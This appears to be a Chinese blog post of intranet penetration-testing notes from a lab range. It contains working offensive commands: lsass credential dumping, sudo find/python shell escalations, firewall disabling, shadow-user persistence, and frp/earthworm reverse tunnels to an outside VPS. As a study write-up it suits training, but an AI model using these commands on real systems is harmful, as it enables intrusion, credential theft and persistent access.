这次用红日的靶场学了一下怎么打内网,写个笔记
内网渗透大概分为几个步骤:
- 拿下外网主机
- 收集主机信息
- 权限提升(不一定需要)
- 维持权限
- 设置代理进入内网
- 搜集内网信息
- 横向移动
拿下外网主机
利用漏洞拿到shell
cs上线
- 新建监听器
payload选择Beacon Http
http hosts选择自己的服务器IP
HTTP Host (stager)选择自己的服务器IP
(建议做一下C2隐藏https://this-is-y.xyz/2021/07/28/C2%E9%9A%90%E8%97%8F/)
- attacks -> packages ->payload Generator
监听器选刚刚创建的监听器,output选什么按情况来,一般来说选powershell command,其他语言是在给了exp要你替换shellcode的时候用的
或者选attacks -> packages -> windows executable生成exe文件,直接上传上去执行。
- 复制payload,然后命令执行就好了。(有时候可能因为没有powershell或者有杀软给拦住了,奈何不会免杀)
免杀的一些学习文章:
1 | https://www.secpulse.com/archives/151899.html(这个我同学试过,还是比较好用的,总体思路为多重编码+远程文件加载,但缺点也挺明显的,也过不了内存检测) |
搜集主机信息
1 | net time /domain #查看时间(判断主域) |
常见杀软进程:
1 | 360sd.exe 360杀毒 |
mimikatz和hashdump读取本机上保存的密码哈希(win10好像用不了了,需要进行魔改)。
无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码procdump64.exe -accepteula -ma lsass.exe lsass.dmp
导出为lsass.dump文件
权限提升
Windows下
烂土豆提权(MS16-075)
Linux下
- 脏牛提权(uname -a,查看linux版本,在下面的版本就存在漏洞)
1 | Centos7/RHEL7 3.10.0-327.36.3.el7 |
- suid提权
1 | find / -perm -u=s -type f 2>/dev/null |
找到有下面的应用则可以进行提权
1 | #Find |
- 计划任务提权
cat /etc/crontab
查看并修改root权限创建的.sh等计划任务
- sudo提权
sudo -l
查看是否设置了某些命令不需要密码,如下(下面为find命令不需要密码)
1 | root表示用户名 |
如find命令提权sudo find . -exec /bin/sh \; -quit
,python命令提权sudo python -c 'import pty;pty.spawn("/bin/bash")'
维持权限
设置定时任务,dll劫持影子用户等
权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户
添加影子用户
关闭防火墙:net stop mpssvc
,netsh advfirewall set allprofiles state off
(生产环境不推荐这么干)
一般来说是添加影子用户,推荐一个小工具ShadowUser
然后开3389就可以登录了
frp端口转发
下载解压之后,将frps放在公网VPS上,修改frps.ini,运行./frps -c ./frps.ini
。
将frpc放在内网主机上,修改frpc.ini
1 | [common] |
运行./frpc -c ./frpc.ini
再给个关于其他方法进行端口转发的文章
搭建代理
我习惯用earthworm,frp也可以。利用nohup 命令 &
可以让他挂在后台运行,要退出则需要用ps -elf查看pid然后用kill命令
ew代理
正向代理
1
a)./ew -s ssocksd -l 8888 # 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
反向代理
1
2a) ./ew -s rcsocks -l 1080 -e 8888 # 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888 # 将目标网络的可控边界主机反向连接公网主机搭建好之后,修改proxychains的配置文件
vim /etc/proxychains.conf
去掉dynamic_chain的注释,在最后一行添加socks5 1.1.1.1 1080
frp代理
和frp转发差不多,就是把东西放上去然后运行就行了,主要看配置
frps.ini
1 | [common] |
frpc.ini
1 | [common] |
socks5连接选择 x.x.x.x:9000
nps代理
听说的,暂时还没用过
搜集内网信息
fscan一键搜集(实战里别这么玩,fscan流量非常大,而且现在一般都有安全设备,日志会红一大片),建议将fscan改名为java等,进行伪装一下。附赠一个使用指南:
cs中也有进行主机发现的方法。
一般来说都是用arp -a
发现网段(route print
也可),然后
Windows下
for /L %I in (1,1,254) DO @ping -2 1 -n 1 192.168.52.%I | findstr "TTL="
来发现主机或用proxychains nmap
来进行扫描(不推荐),也可以用proxychains msfconsole
来收集端口或扫描漏洞。nmap和msf中都有漏洞扫描模块。
Linux下
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
横向移动
利用刚刚收集到的信息攻击内网主机,比如redis未授权(6379)等
IPC$
管道(须目标电脑开启SMB服务,具体条件看这个https://mp.weixin.qq.com/s/-SNNLXB_iz8tUmRKMLr6nw)
smb登录(新建一个smb listener,选中beacon,右键access->spawn as,选一个跑出来的密码,选smb listener就有了)
直接用跑出来的账号密码登录或者考虑之前的密码进行密码复用或者拿去撞库(暂时这个用的较多)
用ms17_010直接打(msf自带的exp似乎打不了32位的)
哈希传递攻击
结束时木马等文件的清理
建议固定放在某文件夹中,统一清理。ew、frp、mimikatz需要taskkill /f /t /im xxx.exe
(windows)或killall xxx.exe
(linux)之后再删除
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/06/07/内网渗透笔记/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!